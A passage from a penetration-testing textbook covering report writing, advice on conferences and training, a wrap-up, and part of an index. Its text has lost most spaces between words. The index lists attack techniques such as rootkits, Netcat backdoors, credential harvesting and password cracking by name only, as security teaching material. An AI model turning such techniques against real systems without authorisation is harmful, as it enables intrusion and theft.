addapasswordtothefiles.AmuchbetterwayofencryptingadocumentistouseatoollikeTrueCrypttoencrypt thedocuments.TrueCrypt isaneasy-to-useprogramandcanbedownloadedforfreefromhttp://www.truecrypt.org. Regardless ofwhat type of encryption or protection scheme you use, yourclientwillneedtousethesametooltodecryptandviewthefiles.Thisisanarrangementthatshouldbeagreeduponbeforethepenetrationtestbegins.Someofyourclientsmaynotunderstandeventhebasicsof cryptography. As a result, you may need to work with and train them on the proper techniquesneededtoviewyourfinalreport.Eachsectionorindividualsubreportshouldbeclearlylabeledandshouldbeginonanewpage.Under

theheadingofeachreport,itmaybeagoodideatoemphasizetothereaderthatthepenetrationtestisonly a snapshot in time. The security of networks, computers, systems, and software is dynamic.Threats and vulnerabilities change at lightning speed. As a result, a system that appears completelyimpenetrabletodaycanbeeasilycompromisedtomorrowifanewvulnerabilityisdiscovered.Asawayofindemnifyingyourselfagainstthisrapidchange,itisimportanttocommunicatethattheresultsofthetest are accurate as of the day you completed the assessment. Setting realistic client expectations isimportant.Remember,unlessyoufillacomputerwithconcrete,dropitinthemiddleoftheocean,andunplugitfromtheInternet,thereisalwaysachancethatthesystemcanbehackedbysomeunknowntechniqueornewzero-dayflaw.Finally, take your time to prepare, read, reread, and properly edit your report. It is equally as

importanttoprovideadocumentthatistechnicallyaccurateaswellasonethatisfreeofspellingandgrammarissues.Technicalpenetrationtestingreportsthatcontaingrammarandspellingmistakeswillindicate to your client that you perform sloppy work and reflect negatively on you. Remember thepenetrationtestingreportisadirectreflectionofyouandyourability.Inmanycases,thereportisthesingleoutput thatyourclientwill see fromyourefforts.Youwillbe judgedbasedon the levelof itstechnicaldetailandfindingsaswellasitsoverallpresentationandreadability.While you are reviewing your report for mistakes, take some time to closely review the detailed

outputfromyourvarioustools.Remember,manyofthetoolsthatweusearewrittenbyhackerswithasenseofhumor.Unfortunately,hackerhumorandtheprofessionalworlddonotalwaysmesh.WhenIfirststartedaspenetrationtester,acolleagueandIfoundourselvesinanembarrassingsituation.Oneof

Page 180: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

myfavoritetools(BurpSuite)hadattemptedtologintoaparticularserviceseveralhundredtimesusingthename“PeterWeiner”.Asaresult,ourprofessional-lookingreportwasfilledwithexamplesofanot-so-professionaluser accountbelonging toPeterWeiner. It is not easy togo into aboardroom full ofprofessional,suit-wearingexecutivesanddiscussyourfictitioususernamedPeterWeiner.It isworth noting that in this case, themistakewas 100%mine. The guys at PortSwigger clearly

discusshowtochangethisusernameintheconfigurationsettingsandamorecarefulinspectionofthereportswouldhavecaughtthisbeforemypresentation.HadIproperlyreviewedthereportandfindings,Iwouldhavehadplentyoftimetocorrectit(oratleastcomeupwithagoodexcuse!).Rightorwrong,yourreputationasapenetrationtesterwillhaveadirectcorrelationtothequalityof

thereportsthatyouputout.Learningtocraftawell-writtenpenetrationtestiscriticalforearningrepeatcustomersandearningfuturebusiness.Itisalwaysagoodideatohaveasamplereportinhand.Manyprospectiveclientswillaskforasamplereportbeforemakingafinaldecision.Itisworthnotingthatasamplereportshouldbejustasample.Itshouldnotincludeanyactualdatafromarealcustomer.Nevergiveapreviousclient’sreportoutasasample,asthiscouldrepresentamassiveviolationoftheimpliedorcontractualconfidentialitybetweenyouandyourclient.Towrapupthereport-writingphase, it isworthmentioningthatmostclientswillexpectyoutobe

available after the report has been delivered. Because of the technical and detailed nature of thepenetrationtestingprocessandreport,youshouldexpecttoreceiveafewquestions.Hereagain,takingtime and answering eachquestion shouldbeviewed as anopportunity to impress the client andwinfuturebusiness rather thanasanannoyance.Ultimately,goodcustomerservice isworth itsweight ingold andwill often repayyou10-fold.Naturally, yourwillingness toworkwith a client andprovideadditional services has to make business sense as well. You are not required to “overservice” theaccount and provide endless hours of free support, but rather you need to find a balance betweenprovidingexceptionalcustomerserviceandhealthyprofits.

YouDoNotHavetoGoHomebutYouCannotStayHereAssumingyouhavereadtheentirebook(congratsbytheway!),youareprobablywondering“what’snext?”Theanswertothatquestiondependsentirelyonyou.First,itissuggestedthatyoupracticeandmasterthebasicinformationandtechniquespresentedinthisbook.Onceyouarecomfortablewiththebasics,moveontotheadvancedtopicsandtoolscoveredinthe“WhereDoIGofromHere”sectionofeachchapter.Aftermasteringall thematerial in thisbook,youshouldhaveasolidunderstandingof thehacking

andpenetrationtestingprocess.Youshouldfeelcomfortableenoughwiththebasicinformationthatyouareabletotakeonadvancedtopicsandevenspecialize.It is worth noting, however, that there ismuchmore to hacking and penetration testing than just

running tools. There are entire communities out there that are built around these topics.You shouldbecomeactivein thesecommunities.Introduceyourselfandlearnbyaskingquestionsandobserving.You should give back to these communities whenever possible. Hacking, security, and penetrationtestingcommunitiesareavailablethroughvariouswebsites,onlineforums,ICQ,mailinglists,andnewsgroups,andeveninperson.Chatroomsareagreatplacetolearnmoreaboutsecurity.Chatroomsareusuallyhighlyfocusedona

single topicand,as thenameimplies, typically involve lotsofcommunicationoverawidevarietyofsubtopicspertainingtotheoverallthemeoftheroom.Inmanyrespects,achatroomislikesittingatabarandlisteningtotheconversationsaroundyou.Youcanparticipatebyaskingquestionsorsimplyby

Page 181: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

sittingquietlyandreadingtheconversationsofeveryoneintheroom.Ifyouhaveneverbeentoasecurityconference(alsoknownasa“CON”),youoweittoyourselfto

go.DEFCONisanannualhackerconventionheldinLasVegasattheendofeachsummer.Yesitisabitofacircus,yestherearemorethan11,000peopleattending,andyesitishotinLasVegasinAugust.Butdespiteallthat,DEFCONremainsoneofthesingle,bestsecuritycommunitiesonearth.Ingeneral,thecrowdsareverypleasant,theGoons(officialDEFCONworkers)arefriendlyandhelpful,andthecommunity is open and inviting. The price of admission is peanuts compared to some of the othersecurityevents,andonemorething—thetalksareamazing.The quality andvariety of talks atDEFCONare nothing short ofmindboggling.Talks vary each

year, but they are sure to include the topicsof networkhacking,webapp security, physical security,hardwarehacking, lockpicking,andmanymore.Thespeakersarenotonlyapproachable,moreoftenthan not they are willing to take time and talk to you, answering your questions one on one. It isconsistentlyamazinghowapproachableandhelpfulCONspeakersare.Itisnaturaltobealittlenervouswhenapproachingsomeoneataconference,especiallyifyouhavebeenpartofanonlinecommunitywhere“newbies”areputdownandquestionsarediscouraged;however,ifyoutaketheinitiative,youwilloftenbepleasantlysurprisedbytheopennessoftheentireDEFCONcommunity.Another great conference to look into is DerbyCon. DerbyCon is typically held in Louisville,

Kentucky each Fall. Dave Kennedy who helped to organize this book is one of the cofounders ofDerbyCon.Thisisarockingconferencethatpullsinsomeofthebiggestnamesinsecurityandoffersamore “intimate” (1000–1500 attendees) experience. You can find all the details athttp://www.derbycon.com.Ifyoucannotmake it to theofficialDEFCONconference,youshould try toget involved inother

security communities that are closer to you. InfraGard, OWASP, the Kali Linux forums, and manyothersaregreatresourcesforyou.Reading this book and joining a security community are greatways to expand your horizons and

learnadditionalandadvancedsecurityconcepts.Followingathreadorseeingatalkwilloftenspuraninterestinaspecificsecuritytopic.Once you havemastered the basics, you can look at divingmore deeply into a particular area of

security. Most people learn the basics, and then tend to specialize in a particular area. This is notsomethingyouhavetochoosetoday,andbecomingspecializedinasingleareadoesnotprecludeyoufrombecomingspecializedinotherareas.However,ingeneral,mostpeopletendtobehighlyfocusedwithanadvancedknowledgeinoneor twoareasofsecurity.Thelistbelowis justasmallsampleoftopics that you can specialize in. It is notmeant to be all-inclusive but rather to provide youwith asampleofthevariousareasthatrequireadvancedtraining:Offensivesecurity/EthicalhackingWebapplicationsecuritySystemsecurityReverseengineeringTooldevelopmentMalwareanalysisDefensivesecuritySoftwaresecurityDigitalforensicsWirelesssecurity.

Page 182: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

WhereDoIGofromHere?Afterreadingthisbook,youmaybehungryto learnmoreaboutaparticular topic,step,or techniquethatwasdiscussed.Nowthatyouhavemasteredthebasics,thereshouldbemanyadditionaldoorsopentoyou.Ifyouhavetrulystudied,practiced,andunderstoodthebasicmaterialpresentedin thisbook,youareequippedtotacklemoreadvancedtraining.Rememberoneofthemainmotivationsforwritingabooklikethiswasnottoturnyouintoanelite

hackerorpenetrationtesterbutrathertoprovideyouwithaspringboardforadvancingyourknowledge.Witha firmunderstandingof thebasics,youshould feelconfidentandprepared to takeonadvancedtraininginanyoftheareaswediscussed.Therearemanyopportunitiesforyoutotakeyourskilltothenext level.Regardless ofwhich areayou choose to explore next, Iwould strongly encourageyou tobuildasolidfoundationbybeefingupyourknowledgeofprogrammingandnetworking.Ifyouareinterestedinamore“hands-on”learningapproach,therearemanygreattwo-tofive-day

securitybootcampsavailable toyou.Theseclassesareoftenexpensiveandvery labor-intensive,butoftenhighlyworththeirpriceofadmission.TheBlackHatconferenceusuallyoffersaseriesofhighlyspecialized and focused classes delivered by some of themostwell-known names in security today.There are literally dozens of security topics and specializations to choose from these events. Thetrainings change from year to year, but you can find them on the Black Hat website athttp://www.blackhat.com.ThecrewresponsibleforcreatinganddistributingKaliLinuxalsooffersahands-onhighlyintense

seriesofclasses.Theseclasseswillchallengeyouandpushyoubymakingyouworkthroughaseriesofrealisticscenarios.Eventraditionaluniversitiesarebeginningtogetintothesecuritymodetoday.Justafewyearsago,it

wasdifficulttofindanysecurity-relatedcurriculum.Now,mostuniversitiesofferatleastoneclassordevote timeduringaclass tocover somesecurity.DakotaStateUniversity (DSU) (where I teach) inMadison, SD, offers several on-campus and online degreeswhich are dedicated entirely to security.DSUhastwoBachelor’sDegreesavailable:CyberOperationsandNetworkSecurityAdministration,aMaster’s Degree in Information Assurance, and even a Doctorate of Science degree in InformationAssurance.Ifyouareinterestedinpursuingasecurity-relateddegreethroughahighereducationinstitution,you

arehighlyencouragedtoattendanNSA-accreditedCenterofAcademicExcellence.Theseprogramsareinformation assurance education degrees that have undergone a designation by theNational SecurityAgencyor theDepartmentofHomelandSecurity toverify thevalueof thecurriculum.Youcanfindmore about this program at http://www.nsa.gov/ia/academic_outreach/nat_cae/index.shtml. Finally, ifyouwant to attend a schoolwhere “offensive security” is taken very seriously and has undergone arigorous external review, look for programs, which have been designated as National Centers ofExcellenceinCyberOperations.Youcanfindmoredetailsonthedesignationaswellastheexclusivelistoftheseschoolsathttp://www.nsa.gov/academia/nat_cae_cyber_ops/nat_cae_co_centers.shtml.Itiswellworthyourtimetotakeacloselookandexaminethevarioussecuritytestingmethodologies

including the Open Source Security Testing Methodology Manual and the Penetration TestingExecutionStandard(PTES).Thisbookfocusedonthespecifictoolsandmethodsusedinapenetrationtest. The PTES, which is my personal favorite, provides security professionals with a well-defined,matureframeworkthatcanbeimplementedinconjunctionwithmanyofthetopicscoveredinthisbook.IlikePTESbecauseitisputtogetherbyworkingprofessionals,providestechnicaldetails,andisverythorough.Youcanfindthedetailshere:http://www.pentest-standard.org.

Page 183: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Another great penetration testing methodology can be found athttp://www.vulnerabilityassessment.co.uk. The Penetration Testing Framework (PTF) is an excellentresourceforpenetrationtestersandsecurityassessmentteams.ThePTFincludesassessmenttemplatesaswellasarobustlistoftoolsthatcanbeusedtoconducteachphase.

WrapUpIfyoureadthisbookfromfronttoback,takeaminutetostopandconsiderallthatyoulearned.Atthispoint,youshouldhaveasolidunderstandingofthevariousstepsinvolvedinatypicalpenetrationtestandthetoolsrequiredtocompleteeachofthesteps.Moreimportantly,youshouldunderstandhowthepenetrationtestingprocessflowsandhowtotaketheinformationandoutputfromeachofthephasesandfeedthoseresultsintothenextphase.Manypeopleareeagertolearnabouthackingandpenetrationtesting,butmostnewcomersonlyunderstandhowtorunasingletoolorcompleteasinglestep.Theyrefusetoseethebigpictureandoftenendupspinningtheirwheelsinfrustrationwhentheirtooldoesnotworkorprovidesunexpectedresults.Thisgroupdoesnotrealizehowtheentireprocessworksandhowtoleveragethepowerofeachphasetostrengthenthephasesthatcomeafterit.Forthoseofyouwhostuckwiththebook,completedeachoftheexamples,andgaveanhonesteffort

atfollowingalong,attheveryleast,thisbookshouldhaveprovidedyouwiththeknowledgeandabilitytoseethebigpictureandunderstandtheimportanceofeachphase.You also now should have the ability to answer the question posed to you in a scenario at the

beginningofChapter2:

Assumeyouareanethicalpenetrationtesterworkingforasecuritycompany.Yourbosswalksovertoyourofficeandhandsyouapieceofpaper.“IjustgotoffthephonewiththeCEOofthatcompany.ShewantsmybestemployeetoPenTesthiscompany—that’syou.OurLegalDepartmentwillbesendingyouane-mailconfirmingwehavealloftheproperauthorizationsandinsurance.”Younod,acceptingthejob.Heleaves.Youflipoverthepaper,asinglewordiswrittenonthepaper,“Syngress”.Itisacompanyyouhaveneverheardofbefore,andnootherinformationiswrittenonthepaper.

Whatnow?

TheCircleofLifeOneof thegreatestattributesofpenetration testingandhacking is thatyounever reach theend. Justaboutthetimeyoumasteraparticulartopicortechnique,someonedevelopsanewmethod,attack,orprocedure. That is not to say that your original skill set is obsolete. On the contrary, a solidunderstandingofthebasicsprovidesyouwithalifelongfoundationforlearningtheadvancedtopicsandstayingcurrentwiththerapidpaceofchange.

Ialwaysenjoyhearingfromreaders,sofeelfreetosendmeane-mailorhitmeupontwitter:@pengebretson

Enjoythejourney!

Patrick

Page 184: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

SummaryThischapterfocusedontheimportanceofwritingthepenetrationtestingreportandexaminedspecificdetails about what needs to be included and potential pitfalls for hackerswho have neverwritten apenetrationtestingreport.Theimportanceofpresentingaqualityreporttotheclientwasemphasized.Itconcludedwith suggestionsaboutwhereyoucango to furtherenhanceyourhackingskillsonceyouhavemasteredthebasics.Specificrecommendationsforgettingadvancedtrainingandbecomingpartofthesecuritycommunitywerealsooutlined.

Page 185: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Index

Note:Pagenumberswith“f”denotefigures’“t”tables;and“b”boxes.

A

AdvancedPackageTool(APT),5b–6b

Arduinoattackvectors,138–139

Armitage,116

command,117

connectionexception,117–118

HailMaryfunction,117

initialArmitagescreen,118

mainArmitagescreen,118

startingArmitage,117–118

utilization,117Seealsoexploitation

Attackmachine

dhclientcommand,11

DHCPuse,11

DNSserver,10

icontolaunchterminalwindow,9f

ifconfigcommand,10

IPaddress,10

Linuxdistributions,9–10

lointerface,10

reviewsteps,11

forrunningKaliorBacktrack,9

forturningnetworkcardon,10

Automatedattacks,125

Page 186: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

B

BackOrifice,185

Backdoor,17,48–49,168SeealsoNetcat

BacktrackLinux,4–7,13

advantage,9

attackmachinetorun,9

bootoptions,8f

burningprocess,7

GRUBbootloaderbootmenu,8

Paros,6

safegraphicalmode,8

securitycommunity,6

VMwareimage,7–8

VMwarePlayer,7–8

VMwaresoftwarerole,11

Base64encoding,153

Bdcli100.execlientsoftware,176

Blackboxpenetrationtesting,4

BlackHatconference,196

Bruteforcingprogram,83

BurpSuite,165

C

Codeinjectionattacks

bypassclient-sideauthentication,156

genericframework,154

interpretedlanguage,153

SQL,153–155

orstatement,155

unintendedcommands,153–154

webapplications,156

Page 187: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Credentialharvester,136

capturedcredentials,136

employeesatisfactionsurvey,136–137

onfakeGmailwebsite,137

HTTPS,136

webattackvectors,136–137

fromwebsite,137

Cross-sitescripting(XSS),142–144

attackingmethod,157

First-Order,159

penetrationtester,158

reflectedandstored,159

skilledattacker,157

stored,159

testcode,158

usernameandpassword,158

Cryptcat,174

–kswitch,174

tunnelencryption,174

twofishencryption,174

D

DakotaStateUniversity(DSU),26,196

DamnVulnerableWebApp(DVWA),164

De-ICELinuxCD,123

DEFCON,194–195

DerbyCon,195

Dig,42–43

Digitalreconnaissance,21

Directorybrowsing,30

DomainNameSystem(DNS),10,34

interrogation,42

Page 188: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

servers,39

Dsnifftools,113

DSU,SeeDakotaStateUniversity

DVWA,SeeDamnVulnerableWebApp

E

E-mailservers,44

rejectedmessage,44

targete-mailserver,44

Exchangeserver,136–137

Executivesummary,189

Exploitation,79–80

Armitage,116–118

conceptof,79–81

automatedattacks,125

ettercap,125

bufferoverflows,126

passwordbruteforcingtoolhydra,124

personalpassworddictionary,124

RainbowCrack,124

stackandheap-basedbufferoverflows,125

furtherpractice,124–126

JtR,97–100

LinuxandOSXpasswordcracking,107–108

localpasswordhacking,100–106

macof,112–116

Medusa,81–85

Metasploit,85–97

multipletools,119–120

passwordresetting,108–111

phase,17

practice,122–124

Page 189: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

remotepasswordhacking,106–107

sniffing(Wireshark),111–112

F

Fierce,43–44

brute-forcehostnames,43

directory,43

inKali,43

Filetransferprotocol(FTP),32,59,81

First-OrderXSS,159

FOCA,50

G

Googledirectives,26–31

allintitle,27

commandto,26

directorybrowsing,30

dynamiccontent,20,30

examplesof,26

GHDB,29f,30f

filetypedirective,28

intitle,27

inurldirective,27

livechatfeatures,30–31

PCtechexample,31

powerof,29f

publicforums,31

utilization,26Seealsoreconnaissance

GoogleDorks,28–29

Google-FU,SeeGoogledirectives

Graphicaluserinterface(GUI),59,86

Page 190: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

H

HackerDefender,176–180

cmdshell,178

configurationfiles,176

full-fledgedWindowsRootkit,176

headings,176

hiddenprocesses,177

HiddenRegKeys,177–178

hiddenservices,177

hsdef100.zipfile,176

.iniconfigurationfile,178

ports,178

rootprocesses,177

startuprun,178SeealsoRootkits

HailMaryfunction(Armitage),117,119

Harvester,31–32

commands,33

folder,33

output,34f

quickestwaytoaccess,32

runprogram,32

subdomains,33

twistingandmanipulatinginformation,32

Hashes.txtfile,103

HiddenRegKeys,177–178

Host

command,39

documentation,39

hostcommandoutput,39,39f

tool,39

HTML,Seehypertextmarkuplanguage

Page 191: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

HTTP,Seehypertexttransferprotocol

HTTrack,23–26

Hxdef100.exe,176

Hxdef100.ini,176

Hypertextmarkuplanguage(HTML),141–142

Hypertexttransferprotocol(HTTP),149

I

Informationextraction

dig,42–43

DNSservers,39–40

frome-mailservers,44

Fierce,43–44

MetaGooFil,44–46

nslookup,41–42

sharingprocess,40

zonetransfer,40Seealsoreconnaissance

Informationgathering,Seereconnaissance

InternetControlMessageProtocol(ICMP),57

Internetprotocol(IP),21,53–54,81

J

Javaappletattack,131

JohntheRipper(JtR),82

directory,99

encryptedversion,98

four-stepprocess,99

hashingalgorithms,98–99

localattack,99–100

performancemetricslist,99

redteamexercises,97–98

Page 192: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

remoteattack,99–100

userorguestgroup,97

K

KaliLinux,4–9,7b

advantage,9

attackmachinetorun,9

burningprocess,7

GRUBbootloaderbootmenu,8

securitycommunity,6

VMwarePlayer,7–8

VMwaresoftwarerole,11

L

LanManager(LM),99,103–104

Linuxpasswordcracking

privilegelevel,107

privilegedusers,107

SHA,108

shadowfile,107

systemfile,107–108

Localpasswordcracking

bruteforcinglettercombinations,105

crackedpasswords,105

extractingandviewingpasswordhashes,102–103

format_namecommand,105

hashes.txtfile,103,105

invokingsamdump2program,102

LMpasswordcracking,103–104

mkdircommand,101

mountcommand,101

mountinglocaldrive,101

Page 193: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

NTLM,104

remotepasswordcracking,106

SAMfile,100–102

samdump2command,101–102

supersecretpassword,104

utilizingMeterpreter,106

VNCpayload,106

Windowspasswordscracking,106Seealsoexploitation

M

MAC,Seemediaaccesscontrol

Macof,113

discreteroutingproperty,112

dsniff,113

failclosedswitches,112

failopenswitches,112

MACaddresses,113

networktraffic,113

Wireshark,111–112

Maintainaccess,167–168

tools,Seebackdoors,Meterpreter,Rootkits

Maltego,SeePaterva’sMaltegotool

Manualproxyconfiguration,149

Mediaaccesscontrol(MAC),112

Medusa,81–85

bruteforcingprogram,83–84

command,83–84

onlinepasswordcrackers,81

parallelloginbruteforce,82

passworddictionary,82

remoteaccesssystems,81

Page 194: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

andSSH,84

usernamelistcreation,83

uses,82

wordlist,82

MetaGooFil,44–46

attackerability,45

directory,45

metadata,44

output,45

Pythonscript,45

Metasploit,85–97

foraccessingmsfconsole,86

bindpayload,95–96

bufferoverflowsandexploitation,92–93

cheatsheet,93–94

commandprocessandrequirements,92–93

criticalorhighvulnerabilities,89

exploitframework,85

exploitofWindowstarget,94

framework,122,142–144

hashdumpcommand,97

initialscreen,86–87

Metasploitexpress,86

Metasploitpro,86

Meterpreterand,95–96

migratecommand,97

msfconsole,86

Nessusand,88–89

Nmapand,88–89

non-GUI,86

outputreview,90

payloads,85–86,91–92,94

Page 195: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

rankingmethodology,91

ratingstorankexploitation,90–91

remotecodeexecution,87,89

reversepayloads,95–96

reviewingMetasploitdocumentation,95

“search”command,89

sendingexploitsandpayloadstotarget,93

setoptionnamecommand,92

setpayload,91

“showoptions”use,92

sourceexploitframework,85

usecommand,91

VNCsoftware,92

vulnerabilityscannervs.,86,91Seealsoexploitation

Meterpreter,95–96,181–183

advantages,96–97

built-incommands,181

functions,96

postexploitationactivities,182–183

shell,173,182

Mkdircommand,101

MultiPyInjectorvectors,133

N

Ncattool,185

Netbustool,185

Netcat,168–174

backdoors,184

clientorservermode,169

communication,170

–eswitch,172,184

Page 196: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

forceNetcat,171

furtherpractice,185

keyboardinput,171

Linuxversion,170

listenermode,169

“ls”command,171

“man”pages,184

Meterpretershell,173

nc.exeprogram,173

practice,183–184

Rootkits,184

targetmachine,169–170

terminalwindow,172

transferfiles,168–170

UDPpackets,172

virus.exe,171

webserver,172

Windowsregistry,173

Windowstarget,173SeealsoCryptcat

Netcraft,37–38

informationgathering,38

searchoption,37f

sitereportforsyngress.com,38f

Networkinterfacecard(NIC),10

Nikto

commandline,144

multipleports,144

portnumber,144

webserver,144

webvulnerabilityscanner,145

Nmap

Page 197: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

andNULLscan,68–69

andportscan,61–62

andSYNscan,63–64

andTCPscan,61–62

andUDPscan,39

andXmasscan,67

Nmapscriptingengine(NSE),54,69

bannerscript,70

community,69

dividesscriptsbycategory,69

invoking,70

NSE–Vulnscanresults,70f

vulncategory,70

Nonpromiscuousmode,111

NSLookup,41–42

DNSinterrogation,42

errormessage,42

andhost,combinatinof,42f

interactivemode,41

duringreconnaissanceprocess,41

O

Offensivesecurity,4

Onlinepasswordcrackers,81

OpenWebApplicationSecurityProject(OWASP),ZAP,SeeZedAttackProxy(ZAP)

Open-SourceIntelligence(OSINT),21

OpenVAS,77

P

Passwordresetting,108–111Seealsoexploitation

Paterva’sMaltegotool,51

Page 198: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Penetrationtesting,1,187

attackmachine,Seeattackmachine

blackbox,4

chatrooms,194

conceptof,2–4

detailedreport,189–191

ethicalhackervs.malicioushacker,3

executivesummary,189

exploitationphaseSeeexplotation

finalPTreport,17–18

finalreport,187

furtherpractice,18

goodvs.evil,2

hackinglab,useandcreationof,12–13

invertedtrianglemodel,14–15

KaliandBacktrackLinuxandothertools,4–9

pentestinglab,2,13

phasesof,14–18

pivoting,16

postexploitationandmaintainingaccess,17

rawoutput,191–194

realisticattacksimulation,3–4

reconnaissancephase,Seereconnaissance

ruleexception,14

securityauditingdistributions,18

securitycommunity,195

whiteboxpenetrationtesting,4

vulnerabilityassessmentvs.,1–2

zeroentryhackingpenetration,15f,16f

PenetrationTestingExecutionStandard(PTES),197

PenetrationTestingFramework(PTF),197

Page 199: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Penetrationtestingreport,189

borderrouter,190

flaws,190

legalandethicalrestrictions,190

mitigations,191

proof-of-conceptscreenshots,190

rawdata,188

rawtooloutput,191

reconnaissancephase,188

solutions,191

vulnerabilities,189–190

Pingsweeps,57–59

blockingpingpackets,59

catcommand,58–59

FPing,58

switches,59

Pings,57–59

command,57–58,57f

ICMPechorequestpacket,58

replacingtarget_ip,57

Portscanning,59

commandlineversion,59–60

fingerprintingoperatingsystem,71

gainaccesstotargetsystem,60

GUI-drivenway,60

listofopenports,71

Nmapand,59

switches,71

target_ip,71

timingswitch,71

versionscanning,71

Powershellinjectiontechnique,133,139

Page 200: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Promiscuousmode,111

PTES,SeePenetrationTestingExecutionStandard

PTF,SeePenetrationTestingFramework

PyInjectorvectors,133

Pythonscript,45,126

Q

QRCode,139

R

RainbowCrack,124

Rawoutput,191–194

directoutputtools,191

documentencryption,192

electronicdocument,192

grammarandspellingmistakes,193

professional-lookingreport,193

report-writingphase,194

wellwrittenpenetrationtest,193

Reconnaissance,19f,20,50

active,22

attackabletargetsfinding,49

automatedtools,20–21

dig,42–43

digital,21

DNSservers,extractinginformationfrom,39–40

e-malservers,extractinginformationfrom,44

Fierce,43–44

furtherpractice,50–51

GoogleDirectives,26–31

Harvester,31–34

hosttool,39

Page 201: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

HTTrack,23–26

MetaGooFil,44–46

Netcraft,37–38

NSLookup,41–42

passive,22

practicesteps,50

publicinformationsearch,21

socialengineering,48–49

Syngress,20,23

ThreatagentDrone,46–47

Whois,34–37

Remotesystem,maintainingaccessto,167–168

usingbackdoor,168

Cryptcat,174

HackerDefender,176–180

Meterpreter,168

Netcat,168–174

Rootkits,168

Requestforcomments(RFC),67

Rootkits,174–176,181

antivirus,175

detectinganddefendingagainst,180–181

fileshiding,174

softwarepackage,175

stealthybackdooraccess,176

“su”or“RunAs”commands,180–181

traffic,181Seealsohackerdefender

S

SAMfile,Seesecurityaccountmanager

Scanning,54

Page 202: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

analogy,55

conceptof,53–57

finaltarget,56

furtherpractice,77–78

Nmap,61–70

NSEand,55

nullscan,usingNmap,68–69

perimeterdevices,57

pingsweeps,57–59

pings,57–59

port,54–55

portnumbersandservice,56t

portscanning,59–60,71

practice,76–77

scanningmethod,55

SYNscan,usingNmap,63–64

TCPConnectscan,usingNmap,61–62

three-wayhandshakeprocess,60–61

UDPscan,usingNmap,39

vulnerabilityscanning,72–76

Xmasscan,usingNMAP,67

Searchenginedirectives,50SeealsoGoogledirectives

SearchDiggity,50

Securehashalgorithm(SHA),108

Secureshell(SSH),81

Securityaccountmanager(SAM),100–101

SET,Seesocial-engineertoolkit

SHA,Seesecurehashalgorithm

Sniffing,111–112

nonpromiscuousmode,111

promiscuousmode,111

Page 203: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

sniffnetworktraffic,108,111

Socat,185

Socialengineering,48–49

conceptof,127–128

credentialharvester,136–137

example,48–49

menus,138

SET,Seesocial-engineertoolkit(SET)

websiteattackvectors,131–136

Social-engineertoolkit(SET),128–131,138–139

folderstructure,128

interface,128

menu-drivensystem,128

spearphishingattacks,128–129

universalexploits,130–131

WindowsXPSP3,129–130

Spidering

certificates,150

connectionsettings,149

